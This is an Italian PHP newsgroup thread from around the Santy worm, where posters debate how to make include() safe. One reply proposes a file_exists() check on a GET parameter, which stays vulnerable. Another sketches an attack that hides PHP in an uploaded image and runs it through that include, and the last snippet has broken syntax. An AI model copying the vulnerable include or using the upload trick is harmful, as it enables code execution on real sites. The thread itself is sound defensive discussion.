Newsgroup: it.comp.www.php
Titolo: Worm php parte 2^

http://www.infoworld.com/article/04/12/27/HNsantyphp_1.html?source=rss&url=http://www.infoworld.com/article/04/12/27/HNsantyphp_1.html
Prima si limitava ad usare una vulnerabilitą di phpbb, ora no...

 Prima si limitava ad usare una vulnerabilitą di phpbb, ora no...
=====
To prevent these attacks, it may be necessary to recode the site to use 
the include() and require() functions in a safe manner.
=====
Gia', ma quale sarebbe questa "safe manner"?
-- 
ciao            |visita
                 |
http://www.sifor.it
gelty           |
http://www.sifor.com
-------------------------------------
E' esplicitamente vietato usare l'indirizzo e-mail di questo messaggio
per fini diversi dalla risposta al messaggio stesso (Art. 10 DL. 171/98).

 
Vorrei proprio capirlo :\

Vincio wrote:

non ho letto tutto l'articolo ma penso che intendesse di non usare codice
del tipo..
include '/path/to/' . $_GET['path'];
ma di controllare tali situazioni piu' rigidamente..
-- 
www.iuz-lab.info

 
Io gli include che faccio sono del tipo: include ('file.php'); ....rischio?

 Gia', ma quale sarebbe questa "safe manner"?
A me tempo fa era capitato di subire un attacco del genere nel mio sito 
(fatto a mano perň). Allora le protezioni prese dall'hoster servirono...
Il problema a mio parere č semplicemente risolvibile controllando la 
variabile contenente il nome del file da includere con la funzione 
file_exists().
In pratica se io vado alla pagina pagina.php?ref=secondapagina
in pagina.php faccio questo controllo:
<?php
if(file_exists($_GET['ref'])) {
	include($_GET['ref']);
}
?>
In questo modo siamo sicuri che il file si trovi sullo spazio del server 
(file_exists non funziona con file remoti).
Per controllo si potrebbe mettere un else che rimandi ad una pagina di 
errore 404, per esempio...
-- 
Liuk - Cavaliere Jedi | Ex allievo della maestra Alkaid
Email: 
li...@fanwars.it
 - Home Page: 
http://www.fanwars.it
Padre mufhd0 che sei nei server, sia santificato il tuo
hostname, venga il tuo broadcast, sia fatta la tua
configurazione cosě in linux come in BSD. Dacci oggi il
nostro source quotidiano e rimetti a noi i nostri codici
come noi li rimettiamo ai nostri sviluppatori e non indurci
in segfault ma liberaci da Microsoft.

 
IMHO e' pericoloso considerare attendibile una var per un include passata
dal client..
od il controllo e' veramente rigido o sara' meglio lasciar perdere..
supponi..
sistema di upload immagini..
sistema di controllo include come da te descritto in una qualsiasi altra
pagina del sito..
[exploit on the fly]
 upload di image.jpg
 [image.jpg]
  <?php
   // codice php
  ?>
 [/image.jpg]
 
 esecuzione dello script con il tuo sistema di controllo include..
 [script.php]
  <?php
   if(file_exists($_GET['ref'])){
    include($_GET['ref']);
   }
  ?>
 [/script.php]
 
http://domain.network/path/to/script.php?ref=/path/to/image.jpg
 il codice php 'iniettato' nell'immagine viene eseguito..
[/exploit on the fly]
-- 
www.iuz-lab.info

 od il controllo e' veramente rigido o sara' meglio lasciar perdere..
Nel mio precedente post avevo omesso una cosa. Se il link è:
pagina.php?ref=secondapagina
Come si nota facilmente non c'è l'estensione del file. Estensione che 
viene aggiunta poi in:
include($_GET['ref'] . ".php");
Ora, se la variabile $ref viene controllata con file_exists() si riesce 
a scoprire se il file linkato è effettivamente sul server. In questo 
modo si possono evitare cose pericolose come:
pagina.php?ref=
http://www.sito.it/path/allo/script
dove script.php potrebbe contenere a quel punto qualsiasi cosa...
Se uno poi inserisse un file con del codice maligno sul server del sito 
internet in questione è un'altra storia, perché o è qualcuno che ha 
l'accesso allo spazio, o il fornitore del servizio o un hacker che sia 
riuscito ad entrare... Ma comunque sono sempre cose molto difficili, e 
spedere ore dietro ad un sistema di protezione perfetto (che poi non può 
esistere) per coprire delle piccole falle che potrebbero avvenire in 
evenienze molto fortuite, mi sembra del tutto inutile. O no?
-- 
Liuk - Cavaliere Jedi | Ex allievo della maestra Alkaid
Email: 
li...@fanwars.it
 - Home Page: 
http://www.fanwars.it
Padre mufhd0 che sei nei server, sia santificato il tuo
hostname, venga il tuo broadcast, sia fatta la tua
configurazione così in linux come in BSD. Dacci oggi il


 ha scritto nel messaggio 
news:C2iAd.339463$b5.16...@news3.tin.it...

se il file e' definito no
se il file dipende da una condizione l'include deve essere fatto piu o meno 
cosi:
switch($condizione){
 case "pippo"
         include(pippo.php)
break
case "somaro"
         include(somaro.php)
break
default:
echo ucce il file:
break:
}